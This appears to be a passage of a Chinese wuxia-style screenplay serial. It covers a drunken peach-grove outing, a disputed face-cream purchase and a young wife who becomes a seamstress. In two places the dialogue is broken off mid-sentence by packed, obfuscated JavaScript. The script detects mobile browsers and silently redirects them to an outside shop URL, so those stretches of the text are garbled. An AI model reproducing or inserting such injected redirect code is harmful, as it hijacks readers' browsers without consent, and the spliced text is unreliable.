张正清:哈哈,一会儿你就知道了。 3-25 廖大伯家(日,内) 人物:张正清、洛宁、廖大伯 下了马车,张正清带着洛宁在村庄的小路上走了半天之后,终于在一户人家门口停下。 张正清:(上前轻轻叩门)廖大伯,您在吗?我是张正清! 里面传来廖大伯的声音。 廖大伯:哦,是张大人呀!来了来了! 门吱呀一声开了,一位满头白发的老者笑着将二人迎了进去。 张正清:廖大伯,最近怎么样?身子还好吗? 廖大伯:托大人您的福,挺好。 张正清:我上次拿的药您吃了没?觉得怎么样? 廖大伯:好得很呐!我这段日子睡得比以往踏实了许多,白天也有精神了。 张正清:那就好!等我下次回京,再给您捎些过来。 廖大伯:不着急,还有大半瓶呢! 趁廖大伯进屋倒茶的工夫,洛宁小声地问张正清。 洛宁:张大哥,这位老伯是你的亲戚吗? 张正清:(摇摇头)不是。 洛宁:那你为何这么关心他? 张正清:(笑着对她挤挤眼)因为我有求于他呀! 廖大伯:(端来了茶)大人,您先喝杯茶,我这就去给您拿酒来。 张正清:好,有劳您了! 廖大伯转身去了屋后。 洛宁:张大哥,你绕了这么远的路来这里,就是为了一杯酒呀? 张正清:呵呵,没错!就是为了一杯酒! 洛宁:你号称千杯不醉,尝过的美酒无数,却能放下身段、主动讨好廖大伯,想必他的酒一定有吸引你的独特之处。 张正清:你听说过一位名叫丁随安的酿酒师吗? 洛宁:是不是那位故意在皇上面前打翻了酒坛子,却因为坛中的酒奇香扑鼻,不仅没有惹恼皇上,反倒因祸得福,被册封为御用酿酒师的丁随安? 张正清:没错,正是他。你知道廖大伯是谁吗? 洛宁:你可别告诉我他是丁随安的师父哟! 张正清:哈哈,果然什么都瞒不过你! 洛宁:丁随安的名气那么大,他的师父却默默无闻,为何? 张正清:因为他的心里只有酒,没有名和利。 洛宁:你怎么知道? 张正清:因为我也跟他一样。 洛宁:等你老了,是否也打算像他这样,隐居在穷乡僻野之中,终日与梅鹤为友、茶酒为伴? 张正清:(笑望着她)到那时你也来,怎么样? 洛宁:不行!那样会伤了很多女人的心。 这句话逗得张正清哈哈大笑。 洛宁:张大哥,你怎么会认识廖大伯? 张正清:他跟我爹是故交。 洛宁:噢,原来你来这里是奉了伯父之命呀! 张正清:呵呵,没错!我每次路过这里,都会买上几壶酒,给我爹捎回去,他就好这一口儿!虽然每次廖大伯都说不要钱,但他一个人住在乡下、生活不易,所以也不能白拿他的,多少都要给一点儿。 洛宁:既然他的酒这么好,我也给爷爷买些。 张正清:(眯起眼)小鬼,你不是没带钱吗? 洛宁:(一本正经地)我的钱会隐身,一到吃饭的时候它就不见了。 张正清:可恶! 廖大伯拎着一壶酒从后面过来,手里拿着两只小酒杯。 廖大伯:张大人,您的酒来了! 张正清:有劳廖大伯!小鬼,你也来一杯尝尝吧! 洛宁:我的酒量不行,不敢喝酒。 张正清:一小杯而已,没事儿! 洛宁:可是我怕喝醉了会出丑…… 张正清:这里只有我和廖大伯,没人会笑话你。来吧! 廖大伯给二人各倒了一杯,张正清接过来一饮而尽,洛宁则小口小口地抿着。 张正清:啧啧,好酒!廖大伯,自从喝过您的酒之后,别的酒都没法入口了! 洛宁:我不怎么喝酒,不过我也能尝出,这是一杯上好的佳酿。 张正清:要不要再来一杯? 洛宁:不了。我已经感受到了它的美妙,心满意足了。 张正清又连饮了几杯,赞不绝口。 张正清:(望着洛宁)瞧你的脸,这么快就红了,看来酒量真的不行呀! 洛宁:(摸摸自己的脸)是吗?我也觉得有点儿热乎乎的。 廖大伯:呵呵,这位姑娘的脸,就跟我家门前的桃花一样红。 张正清:刚才在路上,我见桃花开得正艳,不如一会儿咱们也去看看吧! 洛宁:好啊! 3-26 桃林(日,外) 人物:张正清、洛宁、游客若干 桃林里,一阵阵微风吹过,花落满地。洛宁粉色的脸颊,映衬着粉色的桃花,分不清是花还是人。张正清看看花、又看看她,一阵阵心神荡漾。 张正清:这里的桃树可真多,你看那满山遍野都是桃花,真美啊! 洛宁:(眼神迷离)张大哥!我们……是不是走进迷宫了? 张正清:(吃惊)迷宫?这里可是桃林,你该不会才喝了一杯酒、脑子就犯迷糊了吧? 洛宁:(摇摇头)没有啊,我的脑子清醒得很!张大哥,你喝了那么多酒,肯定是你看错了!你没发现吗?这些树都会动哎!你看这一棵、那一棵,还有那边的几棵……天呐,它们全都在动! 张正清:可能是被风吹的吧!唉,早知道不该让你喝那杯酒。走吧,我们回车上去! 洛宁:(摆手)不行不行!我们要回凤凰城,必须先通过这个迷宫才行! 张正清:(吓了一跳)啊?! 洛宁:嘻嘻!张大哥,你不用担心,走迷宫我最在行了!你跟紧我,千万别落下,要是不小心迷路了,那可就麻烦了! 她钻进桃林,往深处走去。他的心中暗暗叫苦,又无可奈何,只能紧随其后。她左走走、右走走,迷迷糊糊、摇摇晃晃,一会儿指着这棵树说是岔道,一会儿指着那棵树说是死路,听得他哭笑不得,还时不时地伸出手去扶住她,以免她被树枝绊倒。走了半天,前方出现几个男女,是同样来赏花的游客。 洛宁:(忽然大叫一声)呀!有妖怪! 没等张正清反应过来,她已捡起石头朝那几个男女扔了过去,碰巧砸中了其中一个。 游客甲:(恼火地)喂,你干什么? 张正清:(连忙赔不是)额,不好意思!她喝醉了,没看清楚! 游客甲:喝醉了就该回家睡觉,在这里瞎晃悠什么! 洛宁:(指着游客)喂!你们这些妖怪,光天化日之下,竟敢出来害人,该回家睡觉的是你们才对!(撸起袖子)哼!看我不把你们一个一个都打回老巢去! 游客甲:说谁呢?谁是妖怪? 游客们上前围住洛宁,张正清见状,只好拿出督察府的腰牌。 张正清:(拿捏着官腔)督察府办案,闲人回避! 众游客:(面面相觑)督察府? 张正清:没错!我们是督察府的人,正在这里调查一桩命案。 游客乙:(吓了一跳)命案?难道这桃林里有死人? 张正清:(一本正经地瞎编)是的,尸体是在这附近发现的,被剁成了碎块。目前我们只找到了其中一部分,还有一部分没找到,应该就在这桃林里。 众游客:(一听便吓得不轻)被剁成了碎块?天哪!太恐怖了! 游客甲:咱们还是赶紧离开吧,别妨碍人家办案! 游客乙:是啊!大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007367|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家小心脚下,千万别踩着什么!唉呀呀,真是太恶心了! 游客们快步离去。 洛宁:哇塞,张大哥!你可真厉害,三言两语就把妖怪们给吓跑了! 张正清:(干巴巴地笑着)呵呵,是啊!估计都是些不经打的小妖怪! 洛宁:那我们再往前走吧!前方肯定还有更厉害的大妖怪呢! 张正清:啊?还……还要往前走呀? 洛宁:对呀,不走出这个迷宫,怎么回凤凰城呀? 张正清:(颇有些无奈)还记得要回家,看来你还不算太迷糊。唉! 又往前走了几步,林子里突然窜出一只大黄狗,朝他俩吠个不停。 洛宁:呀!果然还有妖怪!咦,它的个头比刚才那几个小点儿,兴许会变身呢!嗯嗯,不能大意!张大哥,你在这里等着,我去揍扁它! 张正清:(拦住她)行了行了,你别去了!这种事怎么能让你一个女孩子动手呢?还是我去吧,你在这里等着啊!(上前赶跑了大黄狗) 洛宁:哇塞,张大哥!这些妖怪怎么一见到你就吓得抱头鼠窜呀?你该不会是什么战神转世吧? 张正清:(又好气又好笑)我要是战神的话,就不会被困在这迷宫里了。 洛宁:嗯,也是啊!张大哥,你别害怕!这迷宫虽然看上去有点儿吓人,但我们肯定能找到出口! 张正清:(灵机一动,指着前方)咦!你看那头,是不是出口? 洛宁:哪里呀?我怎么没看见呢! 张正清:肯定是阳光太烈了,所以你看不清楚!不过没关系,你跟着我走,很快就能出去了!(拉起她一口气奔出了桃林) 洛宁:呀,张大哥!没想到这条路真的是出口呀! 张正清:对呀,你看我们已经走出迷宫了! 洛宁:哈哈,太好了!可以回家了! 她高兴地蹦了起来,却不料身子一歪,倒在了张正清的怀里,被他顺势搂住。 张正清:(轻声唤)宁儿? 洛宁:张大哥……(眼睛睁开又闭上,在他怀里睡着了) 张正清:睡得可真快!(松了口气)唉,行吧,好歹消停了!真是个不省心的小鬼头啊!(抱起她离开了桃林) 梁州,凤凰城 3-27 督察府,客房(日,内) 人物:洛宁、田佳、张正清 洛宁一觉醒来,发现自己在督察府里。 洛宁:唔,睡得可真香! 田佳:你醒了呀? 洛宁:咦!我怎么会在这里? 田佳:你喝醉了,老大怕你姐埋怨,不敢送你回家,所以留你在督察府里住了一宿。 洛宁:是吗?我姐可真厉害,连张大哥都怕她。 田佳:是她的嘴太碎了,能为一点点小事唠叨个没完!不过话说回来,一杯酒把你喝成这样,你的酒量也太差劲了吧! 洛宁:嘻嘻,我平常不喝酒,昨天出于好奇,喝了一点点而已。 田佳:不知道的还以为你喝了一壶呢! 张正清:(从外面进来,手里拿着早点)昨晚睡得怎么样? 田佳:她倒是睡得挺香,可怜我……你们瞧瞧我这黑眼圈! 洛宁:呀!田佳,你昨晚干什么去了?没睡觉吗? 田佳:你怎么不问问你自己昨晚踢了多少回被子呀? 洛宁:哦,有这回事儿? 田佳:你一会儿踢被子、一会儿说梦话,翻来覆去,足足闹腾了一整夜!我倒是想睡,可总要睡得着啊! 张正清:哈哈哈,你这个小鬼,白天看上去挺乖,没想到晚上这么不老实呀! 洛宁:可我怎么一点儿都不记得了? 张正清:那你还记得自己打妖怪的事吗? 洛宁:打妖怪?什么时候的事?哪里来的妖怪? 张正清:算了,我还是不揭你的短了。 洛宁:真的有妖怪呀? 张正清:有啊!不过都被你打跑了。 洛宁:天哪!我这么厉害! 张正清:对呀!不过才一小杯酒而已,就让你原形毕露,要是再多喝一点儿,是不是敢上房揭瓦了? 洛宁:这不都怪你吗?我说过我酒量不行,你偏要让我喝。 张正清:怪我?唉呀,我可真是好心没好报啊! 田佳:老大,你给我们带了什么好吃的? 张正清:甜豆包和小米粥。 洛宁:怎么没有肉? 田佳:是啊!怎么全是素的?我还是出去吃吧。(起身往外走) 洛宁:我跟你……(也想跟田佳一起去,见张正清正瞪着自己,又闭上嘴) 张正清:你昨天喝了酒,早上要吃些清淡的! 洛宁:(不情不愿地坐下)唉,那好吧! 21. 第三篇 鱼小儿的易容术 梁州,凤凰城 欧阳兰兰的凤仪堂开业了,宾客盈门。 面脂的神奇作用,成了凤凰城里街谈巷议的话题,一时间,只要家中有儿女的,无不想要买来试试。 3-28 凤仪堂(日,内) 人物:余守泰、欧阳兰兰、店员 余守泰盯着凤仪堂的金字招牌看了半天,方才走进店里,店员正在擦拭展柜,见他进来,只冷冷地瞥了一眼,又继续忙手里的活。 余守泰在店里转悠了几圈之后,上前对店员道。 余守泰:这位姑娘!这位姑娘!…… 连喊了几声,店员都装作没听见。余守泰见状,只好开门见山地说。 余守泰:姑娘!请问你们老板在吗?我是她的朋友,找她有点儿事。 听闻余守泰是欧阳兰兰的朋友,店员这才转过身来,将他上下打量了一番。 店员:你说你是我们老板的朋友? 余守泰:对呀!我是天地会的人,跟你们老板打过交道。 店员:噢,原来你是天地会的人呀!(立马换了副笑脸,给余守泰倒了杯茶)这位大哥,请问您贵姓? 余守泰:免贵姓余。 店员:余大哥,您来找我们老板所为何事? 余守泰:我听闻你们店里的东西十分神奇,也想买一份试试。 店员:您是打算自用还是送人? 余守泰:我打算送人。 店员:嘻嘻,不用说肯定是送给您的夫人了。 余守泰:(不好意思地笑了笑)呵呵,我还没成家呢! 店员:哦?还没成家呀? 见她惊讶地望着自己,余守泰耸耸肩。 余守泰:我这个人只是长相显老,其实岁数并不大。 店员:噢,明白了!啧啧,哪家的姑娘这么幸运?还没过门,您就对她这么好,若是过了门,岂不是要把她捧作掌上明珠了? 余守泰:呵呵,是啊!自己的媳妇儿,我不疼她谁疼她呀? 店员:余大哥!您想买东西的话,找我不就行了,哪里用得着找我们老板呀? 余守泰:这个……不瞒你说,我找你们老板,是想请她给我打个折。 店员:这个您放心,我们老板交代过了,只要是她的朋友,都可以给你们最便宜的价钱。 余守泰:(一听便乐了)最便宜的价钱?多少呀? 店员:您想买哪个? 余守泰:我也不懂得哪个好,要不你帮我选选。 店员:嘻嘻,既然是给您夫人买,当然要选最好的。(指着中间的那个锦盒)这个怎么样? 余守泰:这个什么价钱? 店员:五十两。 余守泰:(吓了一跳)五十两?!这么小小的几瓶东西,值吗? 店员:怎么不值?对女人来说,青春是无价之宝,一旦逝去了,花再多的钱也买不到。不是吗? 余守泰:话虽这么说,可这个东西真的能让人返老还童、青春永驻吗? 店员:当然了!富春城魏员外的夫人,您见过没?原本她脸上的褶子多得跟树皮一样,用了这个才短短七天的工夫,整个人足足年轻了二十岁,魏员外过去只偶尔去她屋里吃顿饭,这几日竟破天荒地宿在了她的屋里,连之前最得宠的六姨太也被冷落了。 余守泰:听你这么一说,这东西还真是个宝啊! 店员:对呀!等您的夫人用过之后,您就会知道,这东西不仅值,而且超值! 余守泰:问题是这么小的几瓶,能用多久呀? 店员:一个月绰绰有余。 余守泰:才一个月呀?照你这么说,魏员外的夫人若想一直得宠的话,岂不是每个月都要花五十两银子来买这个了? 店员:不止是她,魏员外的几个姨太太见效果这么神奇,也纷纷过来买了。如今的魏员外,面对着满屋子的美娇娘,都不知道该宠哪一个了! 余守泰:(嘀咕)啧啧,一个人的艳福,果然跟岁数、长相没关系呀!(又问店员)不过姑娘,五十两银子实在是太贵了,能不能再便宜点儿? 店员:这已经是最便宜的价钱了!若不是看在您跟我们老板是朋友的份上,就算您今天出五十两银子,我也不会卖给您! 余守泰:这东西这么贵,除了魏员外那样的有钱人之外,估计也没几个人会买吧? 店员:不是没人会买,而是来晚了根本买不到。我给您推荐的这个,只剩下这么一盒,您今儿若是不买的话,下次想买恐怕要等到三个月之后了。 余守泰:这么紧俏呀? 店员:没办法!谁让这东西太稀罕了呢!它里面的药材,样样都十分珍贵,有的甚至还要去海上采买,而且并非一年四季常有,能制成这么一小瓶,完全靠运气! 余守泰:我也没说不买,只是这个价钱能不能再商量一下?要不这样吧,你去把你们老板请出来,让我当面跟她说说。 店员:余大哥!您又不是不知道,我们老板的朋友遍天下,想找她打折的人非常多,但正因为您是她的朋友,总不能让她赔钱吧?五十两银子已经是成本价,不能再少了! 余守泰:你还是去把她叫过来吧! 店员:唉,那好吧! 店员不高兴地白了他一眼,转身上楼,过了一会儿,欧阳兰兰从楼上下来,一见到她,余守泰便笑盈盈地迎了上去。 余守泰:欧阳小姐! 欧阳兰兰:你是…… 余守泰:我是余守泰,那天在木兰小院里咱俩见过。 欧阳兰兰:(盯着他看了半天,方才忆起)噢,我想起来了!你是那个穷鬼的哥哥! 听了这话,余守泰的脸色变得难看了些,碍于面子,只能呵呵一笑。 欧阳兰兰:你来找我有什么事? 余守泰:那个……我想在您店里买样东西。 欧阳兰兰:你想买我店里的东西?你买得起吗? 余守泰:我找您,不就是想求您给我便宜一点儿嘛。 欧阳兰兰:我店里最便宜的东西也得五两银子,哪里是你这种人能买得起的?小妍,送客!(说完头也不回地上楼去了) 店员:(鼻子里冷冷地哼了一声)哼!买不起就别进来,白费我那么多唇舌!(见余守泰站着不动,不耐烦地冲着他吼)喂,你还愣着干嘛?赶紧出去!别妨碍我们做生意! 店员一边说,一边将余守泰喝过的茶杯扔进簸箕里,余守泰的心里十分恼火,原想骂她几句,见她是个女人,又强忍住了。临走之前,他对着凤仪堂的招牌,狠狠地啐了一口。 余守泰:有钱了不起呀?我呸! 3-29 戏院(夜,内) 人物:余守泰、巧珠 余守泰约了巧珠一起看戏。 巧珠:(娇滴滴地)余大哥,你买到那个神奇的面脂了吗? 余守泰:我今儿刚去了凤仪堂,人家说没货。 巧珠:这么巧? 余守泰:是啊!我听那里的店员说,这东西紧俏得很,每次一到货就被抢光了,很多人想买都买不到。 巧珠:那怎么办呀? 余守泰:其实巧珠,你这么年轻、又这么漂亮,哪里用得上那东西呀? 巧珠:只要是个女人,哪有不怕老的? 余守泰:凤凰城里卖面脂的店铺又不止她一家,要不咱们去别处看看? 巧珠:不嘛!我就要这个!我身边的好姐妹们人手一盒,我若是没有的话,人家会笑话你没本事! 余守泰:这…… 巧珠:余大哥,你不是天地会的人吗?想想办法呗! 巧珠伸手环住他的腰,将脸贴在他的怀里,余守泰的心顿时跳得飞快。 余守泰:巧珠你放心,我一定给你弄一盒! 3-30 天地会总会,湖心亭(日,外) 人物:银华、金鹏 余守泰厚着脸皮,再次去找金鹏借钱,这一次,金鹏一口回绝了他。听闻此事,银华摇了摇头。 银华:唉,你哥可真能折腾呀!那女人找他、他就来找你,当你是什么?摇钱树吗? 金鹏:五十两银子可不是小数目,这回我也帮不了他! 银华:我倒是有个主意。 金鹏:什么? 银华:前阵子欧阳兰兰不是给甜妞儿送了一盒那东西吗?算下来也差不多该用完了,咱们把瓶子拿过来,装上寻常的面脂,那女人没见过真东西,如何能分辨得出来? 金鹏:咦?也是啊! 银华:这个办法虽好,却并非长久之计。上次是皮大衣,这次是面脂,下次谁知道那女人又会向你哥索要什么,你哥也不可能回回都满足她。照这样下去,他俩迟早会闹掰! 金鹏:闹掰了最好!要我说,这次咱们也别帮他,让他俩分了得了! 银华:(笑嘻嘻地)别呀!好不容易有一次捉弄人的机会,你就让我过过瘾呗! 金鹏:(苦笑着叹了口气)你呀你,唉! 3-31 巧珠家(夜,内) 人物:巧珠、余守泰 余守泰将面脂送给巧珠。巧珠见了,十分欢喜,立马打开盒子,这就要试一试。 巧珠:咦!余大哥,这盒面脂的颜色和气味,怎么跟我那些好姐妹们用得都不一样啊? 余守泰:这你就不懂了吧!这盒面脂是那位大夫给人家欧阳姑娘特别配制的一份,用料比凤仪堂里的那些东西更加讲究、也更加名贵。若不是看在老交情的份上,人家欧阳姑娘才舍不得给我呢! 巧珠:(喜滋滋地)这样啊!嘻嘻,那可真是太好了!等明儿见到我那些好姐妹们,我可一定要好好地炫耀一番! 洛元恒的寿辰,是天地会的大事。因为宾客众多,寿宴往往要接连办上几日。这期间,各地的分会长都会带着家眷和弟子们,前来凤凰城为洛元恒祝寿。 3-32 洛府,木兰小院,木兰花树下(日,外) 人物:洛宁、霓裳 洛宁正在煮茶,一名女子从外面进来。她叫霓裳,是陆通新娶的娘子,一个从乡下来的小姑娘,长得十分水灵,只是在言谈举止上,略有些腼腆。 霓裳:(上前作礼)洛姑娘好! 洛宁:霓裳?你怎么来了?快坐下!要不要喝杯茶? 霓裳:哦,好的,谢谢洛姑娘! 洛宁给霓裳倒了杯茶,二人边喝边聊。 霓裳:洛姑娘!我听相公说您的医术非常好,我有件事想向您请教一下。 洛宁:什么事? 霓裳:有没有什么办法,能让我尽快怀上孩子,而且一定要是个男胎。 洛宁:(微微一愣)霓裳,我有些不太懂你的意思。你跟陆通哥哥已经成了亲,只要你们的身子没什么毛病,怀上孩子是早晚一天的事情。至于生男生女,这个别说是我,任何一个大夫都帮不了你。 霓裳:洛姑娘您走南闯北,见过很多世面,一定知道一些能让人怀上男胎的偏方。 洛宁:噢,原来你指的是偏方呀,那种东西根本不靠谱,与其强求,还不如顺其自然…… 霓裳:可是公公婆婆都希望我能快点儿为他们陆家延续香火。 洛宁:长辈们都这样,没必要太在意。 霓裳:相公也想我能早些为他生个儿子。 洛宁:你嫁给他才不过短短的几个月而已,他想要儿子的话,让他自己加把劲儿呗! 霓裳:其实……不瞒您说,相公他总说我身上臭,不愿与我亲近。 洛宁:你不洗澡吗? 霓裳:每晚临睡前,我都会把身上的每一个地方都仔仔细细地洗一遍,可不管我怎么洗,都无法令相公满意。 洛宁:(嘀咕)唉,果然家花没有野花香啊! 霓裳:我想他可能是因为我来自乡下,所以嫌弃我。 洛宁:甭管你来自哪里,如今你是他明媒正娶的夫人,他想生儿子的话,就得跟你好好地过。 霓裳:婆婆说,如果我能在年内为他们陆家诞下一名男婴的话,他们会把我当菩萨一样供起来。 洛宁:如果不能呢? 霓裳:他们会给相公纳几房小妾。 洛宁:也就意味着,你将要失宠了。 霓裳:(点头)嗯。想必您也听说了,我娘家的境况并不好,家里人都指望着我嫁过来之后能接济一下他们,如果我失宠了的话……唉!(眼神黯淡了下去,跟着长长地叹了口气) 洛宁:(皱起眉头,盯着她看了半天)霓裳!就算你能在年内为他们陆家诞下一名男婴,但也并不意味着,你会一直得宠呀! 霓裳:我明白您的意思。像陆府这样的大户人家,怎么可能只给相公娶一房妻妾?只不过若能有一个自己的孩子,当相公对我感到厌倦时,至少他还能陪伴在我身边。 洛宁:那又何必非要生一个男孩?女孩岂不是更贴心? 霓裳:女孩再好,总有一天会出阁;更何况,身边有一个男孩的话,别人不敢欺负我。 洛宁:你想得可真远呀! 霓裳:娘家靠不住,我不得不为自己多作打算,让您见笑了。 洛宁:你有没有想过要离开陆家? 霓裳:(吃了一惊)离开陆家?为何? 洛宁:假设你生不出儿子,又假设陆通哥哥冷落了你,难道你打算忍气吞声地过一辈子吗? 霓裳:女人不都是这样吗? 洛宁:也可以不一样嘛! 霓裳:这句话说起来容易,做起来却难。一旦离开了夫家,娘家的人也会视我为不详,如此以来,我一个弱女子,该怎么活下去? 洛宁:若有一技之长的话,倒也无妨。 霓裳:一技之长?(竟笑了起来)不瞒您说,我在娘家时,挺喜欢做衣裳,连我出嫁那天穿的喜服,也是我自己亲手做的呢! 洛宁:那就开一家裁缝店,怎么样? 霓裳:女人开裁缝店,行吗? 洛宁:我能验尸,你为何就不能开裁缝店呢? 霓裳:听你这么一说,我的心里反倒宽慰了些。洛姑娘,不如让我现在为你做身衣裳吧! 洛宁:(吓了一跳)现在? 霓裳:对呀!好久没做衣裳了,着实有些手痒。呵呵! 洛宁:那……好吧! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007368|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >3-33 天地会总会,听雨轩(夜,内) 人物:洛宁、洛青、欧阳兰兰 一看见洛宁的新衣裳,欧阳兰兰便发出一声惊呼。 欧阳兰兰:天哪!宁姐姐,你这身衣裳真是太漂亮了!谁做的?青姐姐吗? 洛青:我可做不了,你瞧瞧这针脚,缝得又细又密,一看就知道是个老师傅。 欧阳兰兰:谁呀?快告诉我,我也去做一身。 洛宁:如果我说是霓裳做的,你信吗? 欧阳兰兰:霓裳?那个乡巴佬儿?得了吧!我才不信呢! 洛宁:是真是假,你去找她做一身不就知道了? 欧阳兰兰:嗯,也是。我们欧阳世家的布庄里新上一批料子,我这就去找她给我做一身!(兴冲冲地去找霓裳了) 洛青:(担心地问)霓裳是陆家的儿媳妇,你让她给欧阳兰兰做衣裳,合适吗? 洛宁:(模仿欧阳兰兰傲慢的口吻)一个乡巴佬儿,能为欧阳世家的千金做衣裳,难道不是她的荣幸吗? 3-34 洛府,客房(夜,内) 人物:欧阳兰兰霓裳陆夫人 欧阳兰兰来到霓裳的住处,进门便喊。 欧阳兰兰:霓裳!霓裳!你在吗?快出来! 霓裳跟在陆夫人的后面,从屋里走出。 陆夫人:欧阳姑娘?你怎么来了? 欧阳兰兰:陆夫人,我想找霓裳给我做身衣裳。 陆夫人:你想找霓裳做衣裳?什么意思? 欧阳兰兰:我见宁姐姐身上的衣裳特别漂亮,听说是霓裳做的,所以也想请她给我做一身。 陆夫人:霓裳,你何时给洛姑娘做了身衣裳?我怎么不知道呀? 霓裳:昨天刚做的,不过是心血来潮而已。 欧阳兰兰:天哪!才一晚上的工夫,就赶制出那么漂亮的一身衣裳。霓裳,你可真是一个天才呀!(上前拉住霓裳的手,这就要带她走,却被陆夫人拦住) 陆夫人:欧阳姑娘,霓裳是我们陆家的儿媳妇,又不是街上的裁缝,你让她做这种事情,是不是有点儿不太合适呀? 欧阳兰兰:这两者有关系吗? 陆夫人:她虽然出身贫寒,但嫁入我们陆家之后,好歹也是个有身份的人了,像这种缝衣制被的粗活儿,哪是她能干的呀? 欧阳兰兰:有身份的人,就不能做衣裳了吗?我还是欧阳世家的千金呢,不也在自己开店做生意吗?能为家里挣点儿钱,有何不可? 陆夫人:咱们陆家不差那点儿钱。 欧阳兰兰:你们陆家再有钱,比得上我们欧阳世家吗? 陆夫人:你……(耐着性子)欧阳姑娘,霓裳是有夫之妇,你要让她给你做衣裳,是不是得先问一问她相公的意思呀? 欧阳兰兰:陆通呢?他在哪里?让他出来,我问问他。 霓裳:相公他跟洛堂主一同出去喝酒了。 欧阳兰兰:这个时候跟洛堂主一同出去喝酒,不用说肯定是去那种地方了。陆夫人!您儿子干这种不正经的事,您不拦着他;我请您儿媳妇干正经的事,您却要拦着我们。是何道理? 陆夫人:我…… 欧阳兰兰:陆夫人,您儿子的本事,您又不是不清楚。他向来只会花钱,哪里懂得怎么挣钱?要我说,他能娶到霓裳这么一位心灵手巧的老婆,是他天大的造化!此事若换成旁人,早就把她当菩萨一样供起来了!换句话说,如果有一天,您儿子败光了你们陆家所有的财产,有霓裳在,至少您不用担心他会流落街头了。哼!霓裳,我们走! 欧阳兰兰说完,便带着霓裳头也不回地走了,陆夫人气得干瞪眼,却说不出话来。 新衣裳做出来之后,欧阳兰兰果然十分满意,当即要霓裳再为她赶制几身,并特意嘱咐陆家的人,不可为难霓裳,一定要好生待她,尤其是她的那双手和那双眼睛,不可再受半点儿委屈,至于粗活累活,那是更不能干了,因为以后她将专职为欧阳兰兰服务。至于陆通,自然也对霓裳温柔了许多,夫妻俩的感情渐好。 3-35 天地会总会,听雨轩(日,内) 人物:洛青、洛宁 洛青板着脸呵斥洛宁。 洛青:哼!我就知道你没安好心! 洛宁:(一脸无辜)什么呀? 洛青:我问你,那日你来这里,是不是故意想向欧阳兰兰显摆你那身衣裳? 洛宁:那身衣裳挺漂亮,为何不能显摆? 洛青:你这一显摆,差点儿把人家陆夫人给气病了。 洛宁:欧阳兰兰口无遮拦,关我什么事呀? 洛青:你正是因为知道这一点,所以才会怂恿她去找霓裳。 洛宁:从今往后,霓裳在陆家,再也不必担心有人会欺负她了。这样难道不好吗? 洛青:好是好,不过也太不给陆夫人面子了。好歹她也是位长辈,怎么在欧阳兰兰面前,连句狠话都不敢说呀? 洛宁:那是因为欧阳世家的布庄,正打算在锦州开一家分号,要租借陆家的铺子。每年三百两银子的租金,可不是一笔小数目哟! 洛青:原来如此!唉,亏你想得出来! 洛青用指尖戳了下洛宁的额头,两个人都笑了。 男宾客聚集在前庭,由洛宏、风无行作陪;女宾客聚集在□□,由洛青、洛大娘作陪。与之相比,中庭倒显得有些冷清了。 3-36 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、洛宁 洛宁坐在顾云飞的对面,百无聊赖地摆弄着手里的茶杯。 洛宁:顾大堂主,这里只有你和我,是不是有点儿太冷清了?今儿可是寿宴的最后一天,能不能让我去跟大伙儿一起吃顿饭呀? 顾云飞:不行。 洛宁:我保证滴酒不沾。 顾云飞:不行。 洛宁:我不就是犯了一次错误吗?总不能年年都防着我吧? 顾云飞:一次错误还不够呀?那你倒是说说,今儿又想怎么折腾?上次是去了屋顶,这次呢?要不要再去湖里游个泳啊? 洛宁:上次是欧阳兰兰她们几个把我灌醉了,不然的话我又怎么会去屋顶上? 顾云飞:若是别的屋顶也就罢了,可你去的是畅音阁的屋顶,那里足足有十层楼高。 洛宁:居高声自远,唱歌当然要去那种地方了,要不怎么叫畅音阁呢?不过我听银华说,那天你也跟我一样,出尽了风头。当着所有宾客的面,你只嗖地一下,就从一楼窜到了十楼,在场的人个个瞪大了眼睛,也没看清楚你是怎么上去的。 顾云飞:(没好气地)还能怎么上去?当然是一层一层地爬上去了! 洛宁:一层一层地爬上去?不可能!等你到了屋顶,我早就掉下去摔死了! 顾云飞:你哥在下面接着你呢! 洛宁:噢,弄了半天你没什么真本事呀?那你还敢妄称自己是天地会第一高手? 顾云飞:(两眼一瞪)我哪敢呀!天地会第一高手不是你吗?哼! 寿宴过后,老五爷带着洛宇、风巅巅回北疆去了,洛府又恢复了往日的平静。 22. 第三篇 鱼小儿的易容术 梁州,凤凰城 春光正好,家家户户外出踏青。洛元恒也给了弟子十天假期,让他们可以外出游玩。 3-37 天地会总会,信义堂,洛宏的屋子(日,内) 人物:洛宏、紫旭 洛宏正在处理各项事务,紫旭从外面进来。 紫旭:老大! 洛宏:(抬头问)宁儿怎么说? 紫旭:她说已经约了顾堂主去金顶山,就不跟咱们去浮光掠影了。 洛宏:(意外)约了顾云飞?他怎么会答应她? 紫旭:可能是因为风堂主也要去吧! 洛宏(内心独白):这个丫头,怎么总爱黏着顾云飞呀? 紫旭:(见他不说话)老大? 洛宏:(回过神来)哦,怎么了?还有什么事? 紫旭:我们还去不去浮光掠影? 洛宏:(不高兴地摆摆手)不去了。 德州,郊外 3-38 马车车厢(日,内) 人物:风无行、顾云飞、洛宁、洛青、银华、金鹏 两辆马车在去金顶山的路上缓缓前行。 第一辆马车上,坐着风无行和顾云飞。 风无行:顾云飞呀顾云飞,你这个平日里甚少出门的懒家伙,今儿怎么也来了? 